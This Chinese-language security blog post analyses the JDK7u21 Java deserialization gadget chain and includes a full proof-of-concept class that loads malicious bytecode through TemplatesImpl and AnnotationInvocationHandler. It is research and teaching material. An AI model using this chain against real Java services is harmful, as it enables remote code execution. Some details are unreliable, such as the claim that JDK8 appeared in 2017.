jdk原生链分析

作为jdk中目前发现的原生链,还是有必要要分析这个用法的。全文仅限尽可能还原挖掘思路

JDK7u21

在很多链中,TemplatesImpl一直发挥着不可或缺的作用,它是位于jdk源码中的一段Gadget:getOutputProperties()->newTransformer()->getTransletInstance()->...

templatesImpl利用回顾:

  1. 加载对象需要是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的实现类
  2. 需要设置_name,_bytecodes
  3. _tfactory属性在高版本需要设置,jdk7u21中不是必须,看jdk版本而言-》defineTransletClasses

其中只要能触发上述任意一个函数的,都可以完成TemplatesImpl的动态加载字节码功能。==1.所以我们看jdk中是否有调用这三个函数?==

还记得sun.reflect.annotation.AnnotationInvocationHandler嘛?这可是java反序列化中的重要角色。而jdk7u21算是对其利用的再挖掘。

为了简单直接,我把反编译的代码中的var变量替换了自定义变量

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//AnnotationInvocationHandler.java
private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
Method[] methods = this.getMemberMethods();//获取this.type的所有方法
int methods_num = methods.length;

for(int var4 = 0; var4 < methods_num; ++var4) {
Method var5 = methods[var4];
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);//判断var1是否是代理类
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1); //调用任意方法
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}

if (!memberValueEquals(var7, var8)) {
return false;
}
}

return true;
}
}

private Method[] getMemberMethods() {
if (this.memberMethods == null) {
this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
public Method[] run() {
Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
AccessibleObject.setAccessible(var1, true);
return var1;
}
});
}

return this.memberMethods;
}

到这里,可以看到this.memberMethods可控,到现在也就是说如果能让AnnotationInvocationHandler调用equalImpl方法,且控制其中的memberMethods,就可以完成任意方法的调用了。

==2.怎么触发equalsImpl?==

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public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else {
......
}
}

关键逻辑:如果代理对象调用了equals方法,且满足equals方法有且仅有一个Object类型的参数。

当前exp,成功触发

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//read evil bytecode-2
FileInputStream is = new FileInputStream("D:\\Projects\\JAVA\\jdkSer\\target\\test-classes\\Aur0ra.class");

int available = is.available();
byte[] bytes = new byte[available];
is.read(bytes,0,available);

//construct TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();

Class<? extends TemplatesImpl> clazz = templates.getClass();

Field bytecodes = clazz.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,new byte[][]{bytes});

Field name = clazz.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Aur0ra");

Class<?> annoClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = annoClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object anno = declaredConstructor.newInstance(Annotation.class,new HashMap());

//set anno.type
setValue(anno,"type",TemplatesImpl.class);

unsetFinal(anno,"memberMethods");
setValue(anno,"memberMethods",new Method[]{clazz.getDeclaredMethod("getOutputProperties")});

Map map = (Map) Proxy.newProxyInstance(Gadget.class.getClassLoader(), new Class[]{Map.class}, (InvocationHandler) anno);
map.equals(templates);

==3.接下来就是想办法怎么触发equals方法,且参数可控==

要求反序列化中会进行equals方法的,直接可以去全局搜索,这里借用codeql的话就很香了。

==4.这里就直接丢出目前链子的利用点,直接采用hashMap之类的?为什么采用这个类呢?==

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//HashMap.java
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}

modCount++;
addEntry(hash, key, value, i);
return null;
}

map类在反序列化时肯定进行put操作,这时,我们直接看put方法。其中会有equals操作,前提是key的hash相等,但key不等,相当于就是做hash碰撞》》》也就是让proxy的hash与Templates的hash相等

==yso中巧妙的构造hash–>参照<java 安全漫谈>==

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final int hash(Object k) {
int h = 0;
if (useAltHashing) {
if (k instanceof String) {
return sun.misc.Hashing.stringHash32((String) k);
}
h = hashSeed;
}

h ^= k.hashCode();

// This function ensures that hashCodes that differ only by
// constant multiples at each bit position have a bounded
// number of collisions (approximately 8 at default load factor).
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}

可以看到,hash就是直接调用了对象的hashCode方法生成的。

但对象templates的hashcode是一个native方法,每次计算都会变动。==所以现在只能看Proxy的hash计算了,需要让proxy的hash动态等于tempaltesimpl的hash==

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private int hashCodeImpl() {
int var1 = 0;

Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}

return var1;
}

它的计算方式就是累加 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())

==关键点:==由于0异或任何等于任何数,此时如果让key的hash等于0,而value等于templatesImpl,那最后不就一直相等了嘛

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for (long i = 0; i < 99999999L; i++) {
if (Long.toHexString(i).hashCode() == 0) {
System.out.println(Long.toHexString(i));
}
}

得到了一个f5a5a608,使得((String)var3.getKey()).hashCode()==0,所以我们只需要将AnnotationHandler中的Map添加一组map.put("f5a5a608", templates);即可。

==5.利用逻辑梳理==

hashMap#put->hashcode相等,所以直接调用AnnotationInvocationHandler#equalsImpl->再就是上面分析的利用

upload successful

==6.附上分析结果(有些赘余,此处略优化==

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package sec.aur0ra;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.ByteArrayInputStream;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.annotation.Annotation;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class Gadget {
public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
//read evil bytecode-1
//InputStream is = Aur0ra.class.getResourceAsStream("Aur0ra.class");

//read evil bytecode-2
FileInputStream is = new FileInputStream("D:\\Projects\\JAVA\\jdkSer\\target\\test-classes\\Aur0ra.class");

int available = is.available();
byte[] bytes = new byte[available];
is.read(bytes,0,available);

//construct TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();

Class<? extends TemplatesImpl> clazz = templates.getClass();

Field bytecodes = clazz.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,new byte[][]{bytes});

Field name = clazz.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Aur0ra");

Class<?> annoClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = annoClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object anno = declaredConstructor.newInstance(Annotation.class,new HashMap());

//set anno.type
setValue(anno,"type",TemplatesImpl.class);

unsetFinal(anno,"memberMethods");
setValue(anno,"memberMethods",new Method[]{clazz.getDeclaredMethod("getOutputProperties")});

Map proxy = (Map) Proxy.newProxyInstance(Gadget.class.getClassLoader(), new Class[]{Map.class}, (InvocationHandler) anno);

HashMap map = new HashMap();
map.put("f5a5a608", templates);

unsetFinal(anno,"memberValues");
setValue(anno,"memberValues",map);

HashMap hashMap = new HashMap();
hashMap.put(templates,templates);
hashMap.put(proxy,123);

}

public static void setValue(Object obj,String filed,Object value){
try {
Field declaredField = obj.getClass().getDeclaredField(filed);

declaredField.setAccessible(true);

declaredField.set(obj,value);
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
}

public static void unsetFinal(Object obj,String field) throws NoSuchFieldException, IllegalAccessException {
Class<?> aClass = obj.getClass();
Field declaredField = aClass.getDeclaredField(field);

Field modifiers = declaredField.getClass().getDeclaredField("modifiers");
modifiers.setAccessible(true);
modifiers.set(declaredField,declaredField.getModifiers()&~Modifier.TRANSIENT);
}
}

疑点重重

  1. 为什么采用TemplatesImpl#newTransformer,而不直接采用getTransletInstance?

    你试试就知道了。是因为最后调用时,getTransletInstance是private方法,无法被触发,所以采用了newTransformer,当然采用getOutputProperties也是可以的。

  2. 为什么很多地方给的不是hashmap而是LinkedHashSet等?

    采用LinkedHashSet是因为它重新进行put时,会按照既定的顺序,会直接影响利用结果。这里的话,似乎影响不大,但也有可能出现错误。

  3. type需要使用Templates.class,而不是TemplatesImpl.class

修复与分析

  1. 为什么jdk7u21前的版本中,不是Annotation类照样可以成功运行exp呢?

upload successful

可以看到,这里type已成功赋值为目标Class对象,所以下面return的时候,不影响序列化的结果。

这里留个疑问:为什么明显目标需要是private final Class<? extends Annotation> type;,而这里放了一个TemplatesImpl在里面,这不是不合乎语法嘛?

  1. 官方修复操作

upload successful
​ 如果不一致,就直接抛出异常,从而结束执行。

如果抛出异常被try-catch处理后,特殊情况下是不是会存在被利用的可能性呢?

拓展分析

  1. jdk的很多版本都是并行开发的,那是不是说有可能这个jdk7u21在其他版本的jdk中也存在呢?

​ 通过对比开发时间,jdk8出来时(2017年),这个已经被修复了,所以以上就不存在利用了。那是不是jdk<jdk7都存在这个洞呢?也不是,因为是并行开发的,jdk6或者其他版本也是在更新迭代,所以也只有部分jdk6或者其他版本收到影响。

JDK8u20

好像和上面留的思路一致,就是利用try-catch机制,处理异常,并继续运行put操作。

==关键点:beancontextsupport==

这里就先不做分析了,更多的是涉及序列化处理的操作。再另一篇文章分析。

参考

java 安全漫谈

jdk8u20反序列化分析